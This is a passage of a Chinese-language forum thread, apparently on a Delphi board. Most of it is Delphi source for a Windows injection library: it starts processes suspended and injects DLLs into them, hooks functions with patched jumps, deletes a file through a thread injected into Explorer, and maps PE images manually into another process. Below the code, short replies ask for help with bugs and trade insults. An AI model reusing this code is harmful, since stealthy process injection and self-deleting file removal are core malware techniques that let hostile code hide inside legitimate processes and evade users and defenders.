pchar; const lpStartupInfo: TStartupInfo; var lpProcessInformation:
TProcessInformation; Src: pointer): boolean;
type
TMainThreadInfo = record
pSleep: pointer;
end;
var
MainThreadInfo: TMainThreadInfo;

procedure MainThread(lpParameter: pointer); stdcall;
var
MainThreadInfo: TMainThreadInfo;
begin
MainThreadInfo := TMainThreadInfo(lpParameter^);
asm
@noret:
push 1000
call MainThreadInfo.pSleep
jmp @noret
end;
end;

begin
Result := False;
if not CreateProcess(lpApplicationName, lpCommandLine, lpProcessAttributes,
lpThreadAttributes, bInheritHandles, dwCreationFlags or CREATE_SUSPENDED,
lpEnvironment, lpCurrentDirectory, lpStartupInfo, lpProcessInformation) then
Exit;
MainThreadInfo.pSleep := GetProcAddress(GetModuleHandle('kernel32'), 'Sleep');
InjectThread(lpProcessInformation.hProcess, @MainThread, @MainThreadInfo,
SizeOf(TMainThreadInfo), False);
Result := InjectLibrary(lpProcessInformation.hProcess, Src);
ResumeThread(lpProcessInformation.hThread);
end;

function HookCode(TargetProc, NewProc: pointer; var OldProc: pointer): boolean;
var
Address: longword;
OldProtect: longword;
OldFunction: pointer;
Proc: pointer;
begin
Result := False;
try
Proc := TargetProc;
Address := longword(NewProc) - longword(Proc) - 5;
VirtualProtect(Proc, 5, PAGE_EXECUTE_READWRITE, OldProtect);
GetMem(OldFunction, 255);
longword(OldFunction^) := longword(Proc);
byte(pointer(longword(OldFunction) + 4)^) := SaveOldFunction(Proc,
pointer(longword(OldFunction) + 5));
byte(pointer(Proc)^) := $E9;
longword(pointer(longword(Proc) + 1)^) := Address;
VirtualProtect(Proc, 5, OldProtect, OldProtect);
OldProc := pointer(longword(OldFunction) + 5);
except
Exit;
end;
Result := True;
end;

function UnhookCode(OldProc: pointer): boolean;
var
OldProtect: longword;
Proc: pointer;
SaveSize: longword;
begin
Result := True;
try
Proc := pointer(longword(pointer(longword(OldProc) - 5)^));
SaveSize := byte(pointer(longword(OldProc) - 1)^);
VirtualProtect(Proc, 5, PAGE_EXECUTE_READWRITE, OldProtect);
CopyMemory(Proc, OldProc, SaveSize);
VirtualProtect(Proc, 5, OldProtect, OldProtect);
FreeMem(pointer(longword(OldProc) - 5));
except
Result := False;
end;
end;

function DeleteFileEx(FilePath: pchar): boolean;
type
TDeleteFileExInfo = record
pSleep: pointer;
lpModuleName: pointer;
pDeleteFile: pointer;
pExitThread: pointer;
end;
var
DeleteFileExInfo: TDeleteFileExInfo;
Thread: THandle;
Process: longword;
PID: longword;

procedure DeleteFileExThread(lpParameter: pointer); stdcall;
var
DeleteFileExInfo: TDeleteFileExInfo;
begin
DeleteFileExInfo := TDeleteFileExInfo(lpParameter^);
asm
@1:
push 1000
call DeleteFileExInfo.pSleep
push DeleteFileExInfo.lpModuleName
call DeleteFileExInfo.pDeleteFile
cmp eax, 0
je @1
push eax
call DeleteFileExInfo.pExitThread
end;
end;

begin
Result := False;
GetWindowThreadProcessID(FindWindow('Shell_TrayWnd', nil), @PID);
Process := OpenProcess(PROCESS_ALL_ACCESS, False, PID);
DeleteFileExInfo.pSleep := GetProcAddress(GetModuleHandle('kernel32'),
'Sleep');
DeleteFileExInfo.pDeleteFile := GetProcAddress(GetModuleHandle('kernel32'),
'DeleteFileA');
DeleteFileExInfo.pExitThread := GetProcAddress(GetModuleHandle('kernel32'),
'ExitThread');
DeleteFileExInfo.lpModuleName := InjectString(Process, FilePath);
Thread := InjectThread(Process, @DeleteFileExThread, @DeleteFileExInfo,
SizeOf(TDeleteFileExInfo), False);
if Thread = 0 then
Exit;
CloseHandle(Thread);
CloseHandle(Process);
Result := True;
end;

function SaveOldFunction(Proc: pointer; Old: pointer): longword;
var
SaveSize, Size: longword;
Next: pointer;
begin
SaveSize := 0;
Next := Proc;
while SaveSize < 5 do
begin
Size := SizeOfCode(Next);
Next := pointer(longword(Next) + Size);
Inc(SaveSize, Size);
end;
CopyMemory(Old, Proc, SaveSize);
byte(pointer(longword(Old) + SaveSize)^) := $E9;
longword(pointer(longword(Old) + SaveSize + 1)^) := longword(Next) -
longword(Old) - SaveSize - 5;
Result := SaveSize;
end;

function GetProcAddressEx(Process: LongWord; lpModuleName, lpProcName: pchar;
dwProcLen: dword): pointer;
type
TGetProcAddrExInfo = record
pExitThread: pointer;
pGetProcAddress: pointer;
pGetModuleHandle: pointer;
lpModuleName: pointer;
lpProcName: pointer;
end;
var
GetProcAddrExInfo: TGetProcAddrExInfo;
ExitCode: longword;
Thread: THandle;

procedure GetProcAddrExThread(lpParameter: pointer); stdcall;
var
GetProcAddrExInfo: TGetProcAddrExInfo;
begin
GetProcAddrExInfo := TGetProcAddrExInfo(lpParameter^);
asm
push GetProcAddrExInfo.lpModuleName
call GetProcAddrExInfo.pGetModuleHandle
push GetProcAddrExInfo.lpProcName
push eax
call GetProcAddrExInfo.pGetProcAddress
push eax
call GetProcAddrExInfo.pExitThread
end;
end;

begin
Result := nil;
GetProcAddrExInfo.pGetModuleHandle :=
GetProcAddress(GetModuleHandle('kernel32'), 'GetModuleHandleA');
GetProcAddrExInfo.pGetProcAddress :=
GetProcAddress(GetModuleHandle('kernel32'), 'GetProcAddress');
GetProcAddrExInfo.pExitThread := GetProcAddress(GetModuleHandle('kernel32'),
'ExitThread');
if dwProcLen = 4 then
begin
GetProcAddrExInfo.lpProcName := lpProcName;
end
else
begin
GetProcAddrExInfo.lpProcName := InjectMemory(Process, lpProcName,
dwProcLen);
end;
GetProcAddrExInfo.lpModuleName := InjectString(Process, lpModuleName);
Thread := InjectThread(Process, @GetProcAddrExThread, @GetProcAddrExInfo,
SizeOf(GetProcAddrExInfo), False);
if Thread <> 0 then
begin
WaitForSingleObject(Thread, INFINITE);
GetExitCodeThread(Thread, ExitCode);
Result := pointer(ExitCode);
end;
end;

function MapLibrary(Process: LongWord; Dest, Src: pointer): TLibInfo;
var
ImageBase: pointer;
ImageBaseDelta: integer;
ImageNtHeaders: PImageNtHeaders;
PSections: ^TSections;
SectionLoop: integer;
SectionBase: pointer;
VirtualSectionSize, RawSectionSize: cardinal;
OldProtect: cardinal;
NewLibInfo: TLibInfo;

function StrToInt(S: string): integer;
begin
Val(S, Result, Result);
end;

procedure Add(Strings: TStringArray; Text: string);
begin
SetLength(Strings, Length(Strings) + 1);
Strings[Length(Strings) - 1] := Text;
end;

function Find(Strings: array of string; Text: string; var Index: integer):
boolean;
var
StringLoop: integer;
begin
Result := False;
for StringLoop := 0 to Length(Strings) - 1 do
begin
if lstrcmpi(pchar(Strings[StringLoop]), pchar(Text)) = 0 then
begin
Index := StringLoop;
Result := True;
end;
end;
end;

function GetSectionProtection(ImageScn: cardinal): cardinal;
begin
Result := 0;
if (ImageScn and IMAGE_SCN_MEM_NOT_CACHED) <> 0 then
begin
Result := Result or PAGE_NOCACHE;
end;
if (ImageScn and IMAGE_SCN_MEM_EXECUTE) <> 0 then
begin
if (ImageScn and IMAGE_SCN_MEM_READ) <> 0 then
begin
if (ImageScn and IMAGE_SCN_MEM_WRITE) <> 0 then
begin
Result := Result or PAGE_EXECUTE_READWRITE
end
else
begin
Result := Result or PAGE_EXECUTE_READ
end;
end
else if (ImageScn and IMAGE_SCN_MEM_WRITE) <> 0 then
begin
Result := Result or PAGE_EXECUTE_WRITECOPY
end
else
begin
Result := Result or PAGE_EXECUTE
end;
end
else if (ImageScn and IMAGE_SCN_MEM_READ) <> 0 then
begin
if (ImageScn and IMAGE_SCN_MEM_WRITE) <> 0 then
begin
Result := Result or PAGE_READWRITE
end
else
begin
Result := Result or PAGE_READONLY
end
end
else if (ImageScn and IMAGE_SCN_MEM_WRITE) <> 0 then
begin
Result := Result or PAGE_WRITECOPY
end
else
begin
Result := Result or PAGE_NOACCESS;
end;
end;

procedure ProcessRelocs(PRelocs: PImageBaseRelocation);
var
PReloc: PImageBaseRelocation;
RelocsSize: cardinal;
Reloc: PWord;
ModCount: cardinal;
RelocLoop: cardinal;
begin
PReloc := PRelocs;
RelocsSize :=
ImageNtHeaders.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size;
while cardinal(PReloc) - cardinal(PRelocs) < RelocsSize do
begin
ModCount := (PReloc.SizeOfBlock - Sizeof(PReloc^)) div 2;
Reloc := pointer(cardinal(PReloc) + sizeof(PReloc^));
for RelocLoop := 0 to ModCount - 1 do
begin
if Reloc^ and $F000 <> 0 then
Inc(plongword(cardinal(ImageBase) + PReloc.VirtualAddress + (Reloc^ and
$0FFF))^, ImageBaseDelta);
Inc(Reloc);
end;
PReloc := pointer(Reloc);
end;
end;

procedure ProcessImports(PImports: PImageImportDescriptor);
var
PImport: PImageImportDescriptor;
Import: plongword;
PImportedName: pchar;
ProcAddress: pointer;
PLibName: pchar;
ImportLoop: integer;

function IsImportByOrdinal(ImportDescriptor: longword): boolean;
begin
Result := (ImportDescriptor and IMAGE_ORDINAL_FLAG32) <> 0;
end;

begin
PImport := PImports;
while PImport.Name <> 0 do
begin
PLibName := pchar(cardinal(PImport.Name) + cardinal(ImageBase));
if not Find(NewLibInfo.LibsUsed, PLibName, ImportLoop) then
begin
InjectLibrary(Process, string(PLibName));
Add(NewLibInfo.LibsUsed, PLibName);
end;
if PImport.TimeDateStamp = 0 then
begin
Import := plongword(pImport.FirstThunk + cardinal(ImageBase))
end
else
begin
Import := plongword(pImport.OriginalFirstThunk + cardinal(ImageBase));
end;
while Import^ <> 0 do
begin
if IsImportByOrdinal(Import^) then
begin
ProcAddress := GetProcAddressEx(Process, PLibName, pchar(Import^ and
$FFFF), 4);
end
else
begin
PImportedName := pchar(Import^ + cardinal(ImageBase) +
IMPORTED_NAME_OFFSET);
ProcAddress := GetProcAddressEx(Process, PLibName, PImportedName,
Length(PImportedName));
end;
Ppointer(Import)^ := ProcAddress;
Inc(Import);
end;
Inc(PImport);
end;
end;

begin
ImageNtHeaders := pointer(int64(cardinal(Src)) +
PImageDosHeader(Src)._lfanew);
ImageBase := VirtualAlloc(Dest, ImageNtHeaders.OptionalHeader.SizeOfImage,
MEM_RESERVE, PAGE_NOACCESS);
ImageBaseDelta := cardinal(ImageBase) -
ImageNtHeaders.OptionalHeader.ImageBase;
SectionBase := VirtualAlloc(ImageBase,
ImageNtHeaders.OptionalHeader.SizeOfHeaders, MEM_COMMIT, PAGE_READWRITE);
Move(Src^, SectionBase^, ImageNtHeaders.OptionalHeader.SizeOfHeaders);
VirtualProtect(SectionBase, ImageNtHeaders.OptionalHeader.SizeOfHeaders,
PAGE_READONLY, OldProtect);
PSections := pointer(pchar(@(ImageNtHeaders.OptionalHeader)) +
ImageNtHeaders.FileHeader.SizeOfOptionalHeader);
for SectionLoop := 0 to ImageNtHeaders.FileHeader.NumberOfSections - 1 do
begin
VirtualSectionSize := PSections[SectionLoop].Misc.VirtualSize;
RawSectionSize := PSections[SectionLoop].SizeOfRawData;
if VirtualSectionSize < RawSectionSize then
begin
VirtualSectionSize := VirtualSectionSize xor RawSectionSize;
RawSectionSize := VirtualSectionSize xor RawSectionSize;
VirtualSectionSize := VirtualSectionSize xor RawSectionSize;
end;
SectionBase := VirtualAlloc(PSections[SectionLoop].VirtualAddress +
pchar(ImageBase), VirtualSectionSize, MEM_COMMIT, PAGE_READWRITE);
FillChar(SectionBase^, VirtualSectionSize, 0);
Move((pchar(src) + PSections[SectionLoop].pointerToRawData)^, SectionBase^,
RawSectionSize);
end;
NewLibInfo.DllProc :=
TDllEntryProc(ImageNtHeaders.OptionalHeader.AddressOfEntryPoint +
cardinal(ImageBase));
NewLibInfo.DllProcAddress :=
pointer(ImageNtHeaders.OptionalHeader.AddressOfEntryPoint +
cardinal(ImageBase));
NewLibInfo.ImageBase := ImageBase;
NewLibInfo.ImageSize := ImageNtHeaders.OptionalHeader.SizeOfImage;
SetLength(NewLibInfo.LibsUsed, 0);
if
ImageNtHeaders.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress <> 0 then
ProcessRelocs(pointer(ImageNtHeaders.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress + cardinal(ImageBase)));
if
ImageNtHeaders.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress <> 0 then
ProcessImports(pointer(ImageNtHeaders.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress + cardinal(ImageBase)));
for SectionLoop := 0 to ImageNtHeaders.FileHeader.NumberOfSections - 1 do
begin
VirtualProtect(PSections[SectionLoop].VirtualAddress + pchar(ImageBase),
PSections[SectionLoop].Misc.VirtualSize,
GetSectionProtection(PSections[SectionLoop].Characteristics), OldProtect);
end;
Result := NewLibInfo;
end;

end.
 
自己顶了,高手哪去了
 
这种典型得垃圾代码,N长,没注释。
 
这是别人的代码,我也没有办法加啊,不过这个代码,不可能没有人见过吧
 
写的什么啊.我来看看....
 
我操,这个世界没有天理了~~~~~ MD,老虎不发威,当我是病猫, 先骂人的倒有理了 我可是从来不主动得罪人的 谁要是欺负人,那就不客气了 明天把这个工具开个源,叫大家都来用用 请问你们有什么拿的出手的?自己写的东西? 说出来叫大爷我长长见识? 别不会是一群耍嘴皮子的废物吧? 需要的请关注我的 blog http://hi.baidu.com/earthsearch
 
好久了,请大家给点实质回答吧
 
翻下这几天的贴吧,晶晶(还是??? >_<) 貌似解决了这个代码的 Bug
 
找不到啊,我搜了"晶晶"的所有的帖子,没有,还有那个??? >_<怎么找啊
 
接受答案了.
 
后退
顶部